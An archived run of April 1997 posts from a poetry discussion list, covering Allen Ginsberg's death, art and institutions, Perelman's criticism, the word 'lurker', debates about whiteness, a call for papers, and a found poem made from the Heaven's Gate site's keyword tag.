But "secuction" is good. Surely a word that Ginsberg would like. A secret, seductive concoction of return-of-the-repressed, hiccuping, cocksucking by the Secaucus 7, suction masters & section doctors, etcetera. Just what Flaubert in Henry's quote is talking about, and certainly art is a process, but when I wrote "Discontents" I was suggestion an origin for that process. For as someone said, writing is hard work, although the joy ("secuction!") can be great. Something h a s to come out. Were you there when it all came out? Ginsberg came out early. Something out of sight deep inside is going to come out any . . . time . . .NOW! It doesnt erupt from the author, does it? It appears to erupt from the sentence, to the erupting reader. It hadn't been part of our content, it had been dis-content, denied & hidden content or mine or yours, & now, it's all over the papers, all over the newssheets. Barely civilized, it was, until we saw how expected it had, all along, (honky commas) been. Honky commas sit on it so as it wont blow, blow away. Until we began to tame it, to domesticate it, find ways to compromise with it, married to it must live with it, must alter it misunderstand it deny it ignore it. Must ask if its author got out of bed on the wrong side the morning of the night he made this *object* this non-ad-hominumizable object, this un homicidal ding-an-sich, this ding in his fender, "it just [not simply] happened to me as it were or was." As I-were-or-was was watching.

"Will have to [insert verb here] later" is also good, thanks Katherine Lynes. Lets say the verb, whichever, is the process Henry mentions. We dont know what it is yet but we know to leave a place for it, and we know to cover up that place (read as a sentence without brackets, the reader finds nothing open.)

Robin Blaser : "poets are the deodorant pucks in the urinal of life." In any state, simultaneously. A suggestion that poetry is in the pisser, pissoir that is. But with its nose towards the stars, blossoms in an appletree. Keep remembering to spell, so that it isnt just masterbation. (Geoffrey Timmons, stop flagellating yourself! You'll wake Mister Bowering, and he'll be thumping the lectern with his shoe again.) With the Don Allan Anthology, apologies to Don M-for-Modern-follows-the Postmodern Allen. Ectoplasm keeps leaking out of the parentheses into the above-board sentences, the open-faced sentences, and you got some on your pants! Now they'll all know . . what they already knew. They knew it of themselves. Now they know you know it of yourself, they'll know they know it of themselves. Then deny it. Go back and do it over. I love you, all of you. That's art for you.

↑ Index

502. Jeffrey W. Timmons
Re: History is Rewritten
Thu 17 Apr 1997

On Wed, 16 Apr 1997, Michael Boughn wrote:

> *Of course, Jeffrey, you can have all the utopian dreams you want.*

ill pass on the utopian dreams--im too much of a ironic pragmatist--but ill have some of the brie please.

jeffrey timmons

↑ Index

503. henry gould
Re: George Wills and the Imago of Alan Ginsbuerg in Victorian England: The Opera
Thu 17 Apr 1997

On Wed, 16 Apr 1997 14:42:38 -0400 Charles Bernstein said:

Allen Ginsberg, and to be sure many others, courageously refused to be
>bashed down by the perverts who would end a person's life and career because
>of their sexual orientation or lifestyle. He was part of a massive cultural
>movement to make what happened to Wilde if not unthinkable at least
>unacceptable in the U S of A. He did this not by presenting "positive"
>images of being gay or smoking pot but by presenting by turns joyous and
>defiant images of these things and a number of others. Wilde ends his days
>in jail and then disgrace. Ginsberg is celebrated even in the pages that
>reviled him -- the Times, the New Yorker, &c --

Could it be said then that from a historical perspective Ginsberg and other leaders of the 60s represent the dialectical flip-side of American rugged individualism? Individual liberty (in terms of "lifestyle") over social and political "correctness"? The same movement expressed in different form in the confessional poetry of the time and the ego styles of the 70s. Since then, the self and her/his authorial intentions have gone out of fashion, both on the left and the right. On the latter we have bland traditionalist focus on superficialities of technique, on the former turgid avant-garde focus on superficialities of technique. - Henry Gould

↑ Index

504. Keith Norris
roofless in seattle
Thu 17 Apr 1997

A poet/review writer friend o mine needs a decent day job (temp work uncertain--no time for reading 700 page novels), and/or apt./place to live w/out deposit. In Seattle.

Backpost if you've got ideas...sorry for the instrusion...back to discussion.

Keith
-=-=-=-=-=

Keith Norris | [redacted]
English Department PSTCC
Knoxville, TN 37933
[redacted]

↑ Index

505. Jeff Hansen
Bromige-Safdie
Thu 17 Apr 1997

David bromige insists on the seemingly inevitable and continuous struggle between art and institutions. Safdie wonders if he is saying that art is futile.

I sympathize with David's position. It seems to me that expecting our poetry to transcend the ideological, material, and social spheres of institutions and everyday interactions is what is futile. Placing too high a demand on poetry, asking too much of it -- the descendants of Shelley's "poets are the unaknowledged legislators ..." -- makes poetry futile. By insisting that it is embedded in the same network/nest of forces as other activities is to see it more accurately, to recognize its strengths and weaknesses rather than hoping for what is not there and ending with futility.

My sense is that most poems come out of implicit, rather than explicit, compromise. The compromise happened long before the moment of writing, in the poet's absorbing, thinking about, and coming to terms with the myriad poetical, social, and institutional forces impinging on him or her.

To be able to write means to have already compromised, and to have forgotten.

Jeff

↑ Index

506. **Keith Norris**
Re: Is anybody still discussing Bob Perelman
Thu 17 Apr 1997

elbow(kind/delicious)into Perelman/Brathwaite/Bernstein chat--

As I read/write my way through Perelman's _Marginalization_, second time through spur(n)ed by this discussion, it (text in bathrobe) seems an in-house leftist critique of language writing. joining Andrews _P&M&P&P_ in negotiation of non-essentialist argument for essential political space.

Perelman's value of Brathwaite over Bernstein is use-value, possibility instead of danger of reification in Bernstein's "utopian politics of liberated textuality" (P 90)?

Sidebar: Eagleton's _Illusions of postmod_ seems to allow more room for a left-ist poetmodern poetics than other recent marxist critique-- Perelman's readerly/writerly distinctions dance well there, I think. Yes?

Keith

-=-=-=-=-=

Keith Norris | [redacted]
English Department PSTCC
Knoxville, TN 37933
[redacted]

↑ Index

507. **Mark Prejsnar**
Re: Is anybody still discussing Bob Perelman
Thu 17 Apr 1997

Well actually Mark that gets at something which is a real live issue about this space, and other spaces like it...I don't think cybersocialspace functions in quite the way you think..I suspect that how it functions is more in flux and more contested than your post states. These two are also widely-known poet/theorists, and the discussion is not about them as people, but about their published books...I don't believe they should feel *compelled* to intervene in a discussion of their work, at least not right away..(they may wanna wait till something really pisses them off ;)...)

There is a constant push and pull between two structures of feeling: that cybersocialspace is like being in a room in a fairly intimate conversation, involving maybe half a dozen people; and that on the contrary it is very public and very widely-scrutinized, and much like debates and exchanges published on paper on various subjects. Your post suggests the former; I personally think that if

people reflect for a minute they'll realize that the truth is closer to the latter idea. I think it's great for us to be able to ask CB and BP to respond to what folks have posted...But frankly I don't think they're obligated to, any more than they are obligated to respond by letter to every discussion of their work in a little mag or an academic journal. Ask 'em, by all means. But my take on public electro-discussion is, that it is suggesting we can't discuss their work that is "very weird." Remember that this is a public not a highly personal space, no matter what it feels like at times.

Mark P.

On Wed, 16 Apr 1997, Mark Weiss wrote:

> *To an outsider this continues to be very weird. Two of the parties, Bernstein and perelman, are on the list. Why do we theorize about what one meant about the other and what the other may think of it? Isn't this like talking about people in the room as if they weren't there? Why don't we just query them for their own input?*
>
> *At 02:32 PM 4/16/97 EST, you wrote:*
> *I don't think Bob P privileges Brathwaite (that's without an "i" said the pedant) over Bernstein. That Bernstein "wants power" goes without saying: who doesn't? As I read it, Bob P's point involves the mediations of the "academy" to which both writers are more or less subject. The contrast worth making is between the (mostly) dispersive energies of CB's practice and the gathering energies of Brathwaite's. This contrast is itself made (not in exactly this way) by CB in his remarks on KB in "Poetics of the Americas." What would be worth contesting in Bob P's reading of KB, and also in CB's reading of KB, is their sense of KB's practice as singular (this is related to mark's point but not the same point). I take it that much of X/Self has little to do with "nation-language" at least as KB has defined it, that there is indeed a "vernacular" present in the poem and that it is this vernacular that grounds "nation-language" and the utopian identity politics the poem is imagining. I take it too that--elsewhere--there is something else going on, more related to dispersing than gathering. Caliban as rebel, Caliban as hero: dispersing and gathering both. What Bob P acknowledges but does not to my thinking stress enough is the Caribbean location of KB's project. Different issues there than the ones CB must face. And when KB's text enters into USAmerican contexts it is something else. For a shameless plug I'll mention that I've discussed some of these issues in an essay in paul naylor's _River City_.*
>
> *This is too brief, perhaps cryptic, but i've a thousand things to do today. And anyway as i read Mark the real force of his question to Bob involves matters other than the remarks on KB and CB.*
>
> *keith tuma*

↑ Index

508. **Jerry McGuire**
Re: POETICS Digest - 15 Apr 1997 to 16 Apr 1997
Thu 17 Apr 1997

---

what's that line that goes "imaginary
somethings with real something in them" i think the word "toadstools" is in there somewhere.

M.D.--what a great quiz! But it really ought to be a contest--my entry:

Imaginary prisons with real
George Wills in them (toadstools extra) . . .

Jerry

↑ Index

509. **Matthias Regan**
Re: found poem
Thu 17 Apr 1997

Chris R.--

> Just to say, I tend to be very suspicious
> of found poems because usually they arn't
> really found (but cropped in some way) or
> aren't very good (compared, say, to Antin's)
> but I was

shocked by this one! It is very moving, especially the way the line breaks worked, with the first "second coming" interrupting the "freedom" line and "extraterrestrial" carrying over into "millennium" twice--I didn't even need your explanation of the real reason for multiple words--though I think it contributes to the poem-- the repition reminds me of prayer, of designating a certain kind of strength to words, a weight--so that like a rosary the effect is directly related to the number. Thank you!

---

meta name="keywords" content="Heaven's Gate,

Heaven's Gate, Heaven's Gate, Heaven's Gate, Heaven's Gate, Heaven's Gate,

ufo, ufo, ufo, ufo, ufo, ufo, space alien, space alien, space alien,
space alien, space alien, space alien, extraterrestrial,
extraterrestrial, extraterrestrial, extraterrestrial,

extraterrestrial, extraterrestrial, millennium, millennium, millennium,

millennium, millennium, millennium, millennium,

misinformation, misinformation,

misinformation, misinformation, misinformation, misinformation,

freedom, freedom, freedom, freedom, freedom, freedom, second coming, second coming, second coming, second coming, second coming, second coming,
angels, angels, angels,

angels, angels, angels, end times, end times, end times, end times, end times,
end

times, Jesus, Jesus, Jesus, Jesus, Jesus, Jesus, God, God, God, God, God, God"

</head>

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510. Michael Franco

Joe Dunn

Thu 17 Apr 1997

Sad news in this morning that Joe Dunn passed away this week-

"I have not given love to the house.
I love you

The house tells me to leave me alone
and sit
because that is all I am.
I told the house
I can be like something
if I allowed it and the house said Bullshit..."

Joe Dunn- The Better Dream House- White Rabbit-1968

M Franco

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511. LYNES- KATHERINE

Re: if not to lurk

Thu 17 Apr 1997

perhaps skimmer? naw. good idea, we do need, at least, i need a new word for the activity of reading and not responding to much if not most of the posts.... [of course, i don't have much to say about standing in one state or time zone and peeing in/into another.....]

i am, however, about half serious at least about being uncomfortable with the lurker title, but am too tired from our annual english department party [dnacing til midnight] to comment too much in length [and i'm trying to keep these short] or to come up with a more imaginative moniker.... lurker to me and to many women i know [and to some men, i'm sure, but, david letterman aside, the majority of "stalker objects" or victims are women], is a bit too close to stalker..... lurking beneath this, of course, are the trappings of electronic listserves.... so many posts, only so much time to read them much less respond.... but, enough excuses/reasons..... back to work. will have to [insert verb here] later.

katherine.

> *Date:* *Wed, 16 Apr 1997 20:47:35 -0400*
> *Subject:* *if not to lurk*

I've emerged from nonbeing for this comment --
> Subject: Re: Imaginary Interview Question
>
> okay, all right.... pressure, always pressure.... i work on several at a
> time.... <snip}
> back to lurking [the moniker [and no i'm not looking up the spelling of that]
> of which i'm not sure i like....] kl
> ~ ~ ~ end ~ ~ ~
>
> so, how about neologize a newer, more congenial self-descriptive?
>
> if not to lurk, then what?
>
> back to surveying
> back to minding the shop
>
> back to the woods of silence
> back to the original language
>
> returning now to the ghostly gaze

> hush! a spectre in the silent haze
>
> back to death's chair, reading life
>
> cybernetic study
> primal position
> uncarved block
>
> watchtower lookout aerie ledge
> back to the corner back to the bayou
>
> back to the audience (quitting the stage)
> hie me to the boxseat
> or (pace Byrne) back into the box
>
> ? or . . .
>

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512. **LYNES- KATHERINE**
Re: if not to lurk
Thu 17 Apr 1997

---

addendum to previous post about lurking....

how about hoverer? hovering? " to hang fluttering in the air, to remain suspended over a place or object, to move to and fro near a place, to be in a state of uncertainty, irresolution, or suspense" and i would add, to be in a state of too much to do-ness, not not caring...

kl

in response to david israel:

> *so, how about neologize a newer, more congenial self-descriptive?*
>
> *if not to lurk, then what?*

↑ Index

513. **michael corbin**
Re: If this is still under discussion . . .
Thu 17 Apr 1997

David Bromige wrote:
>

>
> Tragic? How about Beckett's "I cant go on. I'll go on." That makes more
> sense to me. Tragic is compromised with posturings.
>

An excellent and important distinction. Cioran writes well of this precisely in regard to Beckett. In _The Temptation to Exist_ he inveighs on the "Contagion of Tragedy": "It is not pity, it is envy the tragic hero inspires in us, that lucky devil whose sufferings we devour as if we were entitled to them and he had cheated us of them. . . . Armed with his fate and rushing toward his defeat faster than he, we spare him at most a superior smile, while we reserve to ourselves alone the merits of the fault of the murder, the remorse, or expiation."

And those compromised postures--the murderer, the manque of remorse, the politician of expiation the . . . poet, abject; abject poetics--are struck in the mise-en-scene of the often falsely meaningful shorthand of 'institutions'. Like some black-hole that we by definition can't see, but by necessity *believe* in (what would it mean not to believe, what would it mean to say "How are you feeling today?") has a mass so great that even sweetness and light fail to obtain escape velocities.

But we can pre-tend, praetendere. "Estragon (suddenly furious): Recognize! What is there to recognize? All my lousy life I've crawled about in the mud! And you talk to me about scenery! (Looking widely about him) Look at this muck-heap! I've never stirred from it! . . . You and your landscapes! Tell me about the worms!"

mc

↑ Index

514. Joe Safdie
Re: If this is still under discussion . . .
Thu 17 Apr 1997

David,

Believe me, I'm VERY glad to find out that I've misinterpreted you; I did note the qualifications you used, even in your original message, but still thought (and think) that you were making a provocative generalization that -- as you said -- warranted more comment. My question only inquired if you were making that generalization based on your own experience, and yes, that has now been clarified!

I thought "ad hominem" meant an argument -- mud slinging, as it were -- "against the man." Did you think I was doing that? Please: your presence on this

list is an unqualified delight, and, as one correspondent mentioned to me not long ago, you raise the practice of E-mails to an art form!

I would still be interesting in hearing, from others, how the practice of working at an institution -- and, indeed, "institutionalizing" one's career, which is another issue -- affects the practice of one's art-self.

All best,

Joe

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515. **linda v. russo**
Re: History Is A Rumor
Thu 17 Apr 1997

& I heard BU assigned him a horrid office
in a basement somewhere -- perhaps a
rumor, but one i tend to believe, since
there are many conceivable rumors
abt that institution, such as silber
admitting a disproportional number (in terms
of their average) of international/minority
students to pump up his image as a
welcoming mulitculturalist
in preparation for running for mayor.

> > howard zinn's book A People's History of the United States or some such is
> > very good for this purpose. it's thick tho, which may intimidate some hs
> > students, but very readable and an eye-opener.
>
> yes, this one is definitely worth a peek.
> it's worth noting that zinn, who teaches
> at boston university, has suffered more
> than a bit for his political practice. a few
> years back, president silber (who has
> now left the univ. for a prominent position
> in MA public ed--talk about frightening),
> in what is probably the most recent, &
> most prominent instance of the university
> administration's usually quiet campaign
> against zinn & the left in general, tried to
> have him fired when, refusing to cross
> the picket line of the then-striking clerical
> workers, zinn held his classes off campus.

>
> chris
> ..
> christopher alexander, etc. / nominative press collective
> [redacted] / **********
>
> http://choengmon.lib.utah.edu/~calexand/nonce
>
> Hey!!
> Now Available for a mere $4:
> _constellation voice_ by linda russo
>
>
--
linda v. russo
[redacted]

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516. **linda v. russo**
Re: Knott/AG
Thu 17 Apr 1997

Rachel -- thanks for bringing that up. Before I jump in & lose list readership let me say you'll be glad to know that Knott has a new & selected coming out from Boa editions SOON.

"To American Poets" seems to be written, in part, _to_ AG, or at least to his 'generation' of poets -- which both is & isn't BK's generation. I don't know when it was written, but _The Naomi Poems_ was published in 1968. The poem you quote from is beautiful, both praising & criticising American poets from Pound & WCW to the 'vietnam generation' for being -- well, American poets, at a time when "there's no time left to write poems" and "The world is not divided into your schools of poetry." We both don't need poetry and need it and need it to do more. The lines -- from which you paraphrase -- seem to me appropriately elegiac:

. . .You
are not important. Your black mountains, solitary farms,
LSD trains. Don't forget: you are important.
If you fail, there will be no-one left to say so.
If you succeed, there will also be a great silence. Your names,
an open

secret in all hearts, no-one will say. But everywhere
they will be finishing the poems you broke away from.

-- l.

> Linda Russo--
>
> re that Bill Knott seeming to "connect" somehow. Grudgingly returned his
> Niomi poems to the library a few days ago so I can't quote directly but
> his "To American Poets" was in front of me with AG's death in the
> news--something like:
>
> "your name will be an open secret"
>
> (and)
>
> "everywhere we will be finishing the poems you broke away from"
>
> RK
>
>
--
linda v. russo
[redacted]

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517. David Bromige

Bromige-Safdie

Thu 17 Apr 1997

Sounds like a position to occupy in American football. Isnt it "tangled web," and wasnt it Robbie Burns? or Shakespeare? Was it really Donne, or were you, Steven Marks, embodying your point about forgetting and the individual (a provocative one, btw)? "Remember to spell" was a gesture in my piece, towards what i think Jeff may have meant, and you may have, by "compromise." I recall a student (and he wasnt entirely alone in his notion of the individual) who insisted a word could mean, in his poetry, precisely what he wanted it to mean, w/o reference to any dictionary or any common parlance. Some of his classmates told him he was "just jacking off"--as though there were something bad about jacking off. But lets take that (not masturbation, but deliberately uncommunicative behavior) as one pole of poetry, and then, say, Eddie Guest as the other pole. Consider the distribution along this axis in terms of accessiblity, and one sense of compromise will be clear

Of course, Henry, repressed material -- dis-contented material -- will show variation from individual to individual. Some of us have our sexuality all worked thru or out, we dont feel uneasy or irritable when its discussed, and can feel or affect indifference about it. I'm that way myself, I merely use sexual reference because I've noticed others often enjoy it. But patriotism is missing from my palette altogether, and will probably erupt from my shadow in the most primitive way one of these poems. Other examples I could have used: that our civilization survives thru murder & enslavement, but that it manages to keep that out of sight most of the time, or at least, unnamed and disembodied; or that if Beale Street could talk, if Beale Street could talk, married men would have to take their beds & walk. But I guess that's the ugly head of sex being reared again. Darn this Occident! I should go live in Thailand, where they have other stuff under their minds. Safdie-Bromige makes me feel like a catch or a belt, but hey, I can live with it. db

↑ Index

518. **robert zamsky**
Re: The is-anybody-still-discussing thread
Thu 17 Apr 1997

BRAVO!

rob zamsky>
> what if art is a process. not automatically a process of discontent.
> something else. & enlisting it in vanguard of discontent/truth-seeking/
> rebellion ends up hiding the truth as much as revealing it. what if
> the process leads to a more radical truth if discontent is not taken
> as a given (thus leading to all the institutionalized hypocrisies &
> comedies DB alluded to). we've had these non-arguments over huge-
> abstractions before. [exhale] yes, troubled humanity, I have once again
> dissected "art" & lifted it in conformtent formcontaldehyde for your
> dispection.
>
> Henry Gould
>

↑ Index

519. **Hoa Nguyen**
Re: What is white
Thu 17 Apr 1997

Dear Jeffery Timmons:

Ok, I'll bite--

but first a couple of questions...

"Objection"? Why objection?
Are you looking for an answer or making a point?

This is my answer, if one is wanted--

I have been asked this question before by European-Americans ("Whites")-- and it usually comes up when I talk about my experiences as a woman of color. For example, when I describe how it feels to be the only poet of color in a given magazine or at a poetry reading-- I am sometimes asked "Isn't white a color?"

I started this response by asking a question-- because it has been my experience that when white people ask me this, it is a way of trying to deny my experiences of difference-- to dodge the everyday priledges of belonging in the white world that white people have (without often knowing they have it). So I would like to know why you asked. Is it because you don't understand what is meant or are you challenging the construction of whiteness and if so how come you are choosing to go about it?

So, my answer is: white people are people of European heritage (A.G., I recall wrote he was "white if Jewish people are white").

Also, I have been very curious about the magazine "Race Traitor" -- plan to buy it when I have more money-- and was wondering if anyone on this list could please fill me in-- tell me more about their philosophy behind their "rejection of whiteness" (or correct me if I have that wrong). Is anyone here involved with that journal?

> *Date: Mon, 14 Apr 1997 19:01:46 -0700*
> *From: "Jeffrey W. Timmons" <[redacted]>*
> *Subject: Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle*
> *To: [redacted]*
>
> *On Mon, 14 Apr 1997 dodie wrote:*
>
> *This totalizing "we" is problematic to me.*
>
> *ok.*
>
> *As I see it, he embodied alienation for a bunch of white guys (and a few women such as Maria D.), a fine thing to do--but other people have embodied that for other groups and will continue to.*
>
> *objection! please define "white." i dont bite.*
>
> *jeffrey timmons*

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520. **Thomas Bell**
Re: found poem
Thu 17 Apr 1997

Does this use of misinformation mean that they knowingly bought
their own.
tom bell

At 01:47 PM 4/16/97 -0700, Christopher Reiner wrote:
What follows is a list of keywords from the Heaven's Gate
>site, which I have copied from its Home Page source code. I present here
>it as a found poem, without any extra linebreaks or whatnot...
>--Chris R.)

> *misinformation, misinformation,*
>
> *misinformation, misinformation, misinformation, misinformation,*

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521. **Thomas Bell**
Re: ginsberg and snyder
Thu 17 Apr 1997

At 03:11 PM 4/16/97 -0700, George Bowering wrote:
>>"When?" is the question. At two different times or in a different dimension.
>>tom
>>At 10:31 PM 4/13/97 -0700, George Bowering wrote:
>>>>Does using adjacent urinals in two different states
>>>
>>>Where is that possible?
>>>
>
>Well, it would have to be in some can on a state line, wouldnt it?
>
If it was urinal rather than urinals?

How long can we continue this before it becomes a found poem? tom

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522. Christopher Alexander
Begin migration of all users to new
Thu 17 Apr 1997

Dodie--
just wanted to offer a belated thanks for your post
on Ginsberg:

> *This totalizing "we" is problematic to me. Personally, Ginsberg never lead me anywhere (even though I had a poster of him on my bedroom wall when I was in high school)--and I think his influence is marginal to large "marginal" populations. As I see it, he embodied alienation for a bunch of white guys (and a few women such as Maria D.), a fine thing to do--but other people have embodied that for other groups and will continue to.*

I know you ended up feeling a little regretful of
this post (why do we worry so much on Poetics?)--
all the more reason to say "thanks". I was beginning
to feel a bit awkward, as my experience of Ginsberg,
despite the importance of his work, is perfectly, if
unintentionally, evoked by the poster you mention.
Which isn't to come down too hard on him--as I
said in my earlier post, this isn't a case of disappointed
rock fan syndrome. ["Joe Strummer once said he cared..."].
It's more that, having grown up in the Reagan era,
the kind of optimism Ginsberg seems, in part, to represent--
it just wasn't available to me, &, to a great extent still isn't.
However I may have appreciated his work, it couldn't
compare as politicized art to, for example, The Minutemen.
["If--if Reagan played disco..."]. That situation could
explain, in part, my attraction to, for instance, Bourdieu
as a post-Marxist, & the conflict model that's implicit
or explicit, variously, in his work. The social field as
site of continuous struggle versus (what I'd like to
believe in) the Revolution that signals the end of history
as we have known it.

Not that I mean to ascribe this position, or this subject-
position to you (I assume you're older than I am--most
of the more vocal listmembers seem to be), nor am I
thanking you for "speaking up for" me--I didn't speak
up more because I felt like maybe I was pissing on
the parade, or the procession, as the case may be. But
I thought I'd, I don't know, say "hi & I liked your post".

best, Chris

ps--You & Kevin did receive those books I sent, right?
They should have arrived some time ago, but the postal
service here doesn't seem to be terribly reliable.
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

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523. Christopher Alexander
Oh, dammit not again
Thu 17 Apr 1997

Apologies to all for just having posted a $!#$% personal
message to the list. It's supposed to be for Dodie, so
I hope you read it, Dodie. The rest of you--well, whatever.

Or maybe this is a hoax post & I'm just trying to spice
things up a bit.

$%#!, Chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

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524. Herb Levy
Re: George Wills and the Imago of Alan Ginsbuerg, in the 2nd circle
Thu 17 Apr 1997

Dodie wrote, towards the beginning of the week:

> *Ironically, I just received a very moving e-mail from Simon P. about his being present at AG's deathbed, holding his hand, and then the Buddhist*

> *service. So now I feel guilty about being so flip about AG, like instant karma's gonna get me.*

You've got no reason to feel guilty, Dodie. You wrote that Ginsberg wasn't a huge liberating force for you regardless of the general tenor of the list lately & that just seemed honest. You weren't dissing him, just calling attention to the fact that alternatives to the mainstream are no more monolithic than the culture to which they're alternatives.

And, as this list gets ever larger, it's always going to be a good thing to be reminded that each of us doesn't have the same tastes, hard as that is to believe at times.

& I'm giving up trying to read the rest of the posts that I let sit during tax season now.

Herb Levy
[redacted]

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525. Maria Damon (Maria Damon)
call for essays
Thu 17 Apr 1997

Approved-By: Center for Advanced Feminist Studies <[redacted]> Date: Fri, 18 Apr 1997 10:16:11 -0500 From: Center for Advanced Feminist Studies <[redacted]> Subject: wsais-pdl: WISE-L: CFP Feminisms and Internationalism To: Multiple recipients of list CAFS-F2 <[redacted]>

> *CALL FOR PAPERS FOR A*
> *SPECIAL ISSUE OF GENDER & HISTORY*
> *ON FEMINISMS AND INTERNATIONALISM*
>
> *Submissions are invited for a special issue of Gender & History to be published in 1998 on the theme of Feminisms and Internationalism. The editors for the special issue seek essays which address the theme of the history of internationalism in feminist theory and praxis, possibly including the following topics: the ways in which "internationalism" has been conceived historically within feminism and women's movements; the nature of and historical shifts within "imperial" feminisms; changes in the meaning of feminist internationalism both preceding and following the end of most formal empires in the 20th century; the challenges to, and the reformulations of, internationalism within feminism by women of colour and by women from colonized or formerly colonized countries; the fragmentation of internationalism in response to a growing emphasis on local over global*

contexts of struggle as well as on a variety of different feminisms instead of a singular feminism; and the context for the reemergence of internationalism within feminisms and women's movements as a result of the new modes of globalization in the late 20th century.

Essays should be around 9,000 words in length. To submit a manuscript, send three copies plus an abstract and a separate title page with name, address and contact information. Other details of form and style for submitted manuscripts can be found in Gender & History. Deadline for submissions is 15 December 1997.

Manuscripts may be sent to any of the three editors for the special issue:

Mrinalini Sinha,
North American Co-Editor, Gender and History,
Department of History,
Southern Illinois University at Carbondale, IL 62901-4519
USA
Phone: [redacted]
Fax: [redacted]
Email: [redacted]

Donna J. Guy,
Special issue guest co-editor,
Department of History,
University of Arizona,
Social Science Building,
Tucson, AZ 85721
USA
Phone: [redacted]
Fax: [redacted]
Email: [redacted]

Angela Woollacott
Special issue guest co-editor,
Department of History,
Case Western Reserve University,
10900 Euclid Ave.,
Cleveland, OH 44106-7107
USA
Phone: [redacted]
Fax: [redacted]
Email: [redacted]

****
[redacted]

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526. **Jeffrey W. Timmons**
Re: What is white
Thu 17 Apr 1997

On Thu, 17 Apr 1997, Hoa Nguyen wrote:

> *"Objection"? Why objection?*
> *Are you looking for an answer or making a point?*

i objected to the use of "white" in dodies post: it seemed reactive and not very useful--in fact counter-productive if i might say so. esp since i felt that if anyone would never be accused of being complicit with whatever "white" stands for (bland mediocre meaningless oppressive tradition whatever) it was ginsburg. white was used in a homogenizing fashion that failed to be attentive to the pluralities that term is used to organize and did not recognize the virtually indistinct category it is. of course it does have a powerful political resonance

> *I have been asked this question before by European-Americans ("Whites")-- and it usually comes up when I talk about my experiences as a woman of color. For example, when I describe how it feels to be the only poet of color in a given magazine or at a poetry reading-- I am sometimes asked "Isn't white a color?"*

if i understand you you are suggesting that some believe the color "white" to represent a culture? if that is so i would respond by suggesting that "white" cannot and should not be so easily equated with either a distinct culture and that its conflation with "european-americans" is virtually to use a term that is hopeless riven by differences and contrasts. not very useful in the end.

> *So I would like to know why you asked. Is it because you don't understand what is meant or are you challenging the construction of whiteness and if so how come you are choosing to go about it?*

challenging. because in the end if as critics of various political affliations vaguely represented as "left" we are not able to identify allies and compatriots or people sympatico and perpetuate the idea that an important (counter) cultural figure like ginsburg is "white" and therefore not politically acceptable we lose a valuable ally and more importantly a historical challenge that paved the way for "other" forms of difference. perhaps dodie is right: maybe ag is representative of a particular formation of white male alienation but rejecting it out of hand also risks tossing out for mistaken reasons i believe something of great value. sorry im not being specific enough about that value: i leave that for others. for now.

> *So, my answer is: white people are people of European heritage (A.G., I recall wrote he was "white if Jewish people are white").*

a rather contingent construction dont you think? suggests the ambivalence of that inclusion in that larger category. if.... and europe geez how does one

make sense of that ethnogeography? where do you draw the boundaries there? there are as much differences as similarities it seems to me.

ok heres my (tentative) conclusion: race is semantically and epistemologically more complicated than the linguistic and conceptual categories used to discuss it. itd be more useful i think to be aware of that. did i make any sense? did i stumble into a morass? do i need a rope--either to pull me out or string me up? have i gone on too long? yes.

jeffrey timmons

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527. **Jeffrey W. Timmons**
Re: What is white
Thu 17 Apr 1997

---

uh dodie--didnt have your address--just wanted to say i was dissing you. i just latched on to your use of that term and i realize you backed off a bit from it in a later post. i wish things would be posted quicker. i hope i havent offended you or anything. if so you have my assurances i have written with intentions of respect.

jeffrey timmons

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528. **henry gould**
Re: If this is still under discussion . . .
Thu 17 Apr 1997

"All art which excites in us the feeling of joy is so far comic and according as this feeling of joy is excited by whatever is substantial or accidental, general or fortuitous, in human fortunes the art is to be judged more or less excellent: and even tragic art may be said to participate in the nature of comic art so far as the possession of a work of tragic art excites in us the feeling of joy. From this is may be seen that tragedy is the imperfect manner, and comedy the perfect manner, in art."

- James Joyce

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529. **Henry Gould**
recommended scholarship
Thu 17 Apr 1997

A few months ago, in response to a "what next?" query from Ron Silliman I outlined at obtuse angle and length about a "Providence School" of poetry. Without getting into the semi-mystical maunderings which I'm sure nobody wants to listen to ever again, I can say that the basic kernel was to propose a kind of poetry based on a "different" metaphysics from the popular postmodern blend of what I called nominalism or anti-realism; the idea is that the poet accepts more or less as a given that there is a real ordered universe outside our language systems which language, more or less accurately, is able to represent. This is realism.

I've discovered a new book which considers James Joyce's work from a parallel perspective. Now Joyce, as you know, is an avatar of postmodernist critics & theorists. There is a strong stream of postmodern/avant-garde/ deconstructive/ feminist criticism which claims Joyce as model & percursor. So I want to recommend the following book. It's not the product of an aging bitter departmental new critic fluffhead, either (and it's not by Blasing, folks!!).

The Word According to James Joyce, by Cordell Yee, Bucknell UP, 1997

Though I'm only partway through, part of his argument is that, contra many many critics, Joyce never forsook his roots in Aristotelian realism, modified by his own discoveries in 20th cent. "process metaphysics" with respect to the ability of language to represent what is real. & in hopes of forestalling purely political pre-judgements, I quote the following:

"As far as the political implications of Joyce's works are concerned, I have no quarrel with anti-authoritarianism or feminism. I do question whether those political impulses are necessarily tied to a rejection of the linguistic practices that make representation possible."

This sentence doesn't offer much in isolation, but it points to an issue fairly relevant to the divide, say, between theoretical-left writing theorists & other leftish writers (the whole langpo/Apex of the M debate).

I want to emphasize that Yee doesn't seem to have a tendentious axe to grind, but he takes issue with a lot of Joyce scholarship because he's actually interested in authorial intention & is trying to discover what JOYCE was up to (& not so much what his playful interpreters want to bend him into). It's a new jumping-off place. - Henry Gould

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530. **Jeffrey W. Timmons**
Re: What is white
Thu 17 Apr 1997

SORRY SORRY SORRY I MEANT WAS NOT NOT NOT NOT NOT DISSING YOU. UG. I NEED TO LEARN HOW TO FORM CONTRACTIONS!!!! SORRY DODIE. I AM SELF-FLAGELLATING RIGHT NOW.

On Thu, 17 Apr 1997, Jeffrey W. Timmons wrote:

> *uh dodie--didnt have your address--just wanted to say i was dissing you. i just latched on to your use of that term and i realize you backed off a bit from it in a later post. i wish things would be posted quicker. i hope i havent offended you or anything. if so you have my assurances i have written with intentions of respect.*
>
> *jeffrey timmons*

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531. **Mark Weiss**
Re: Is anybody still discussing Bob Perelman
Thu 17 Apr 1997

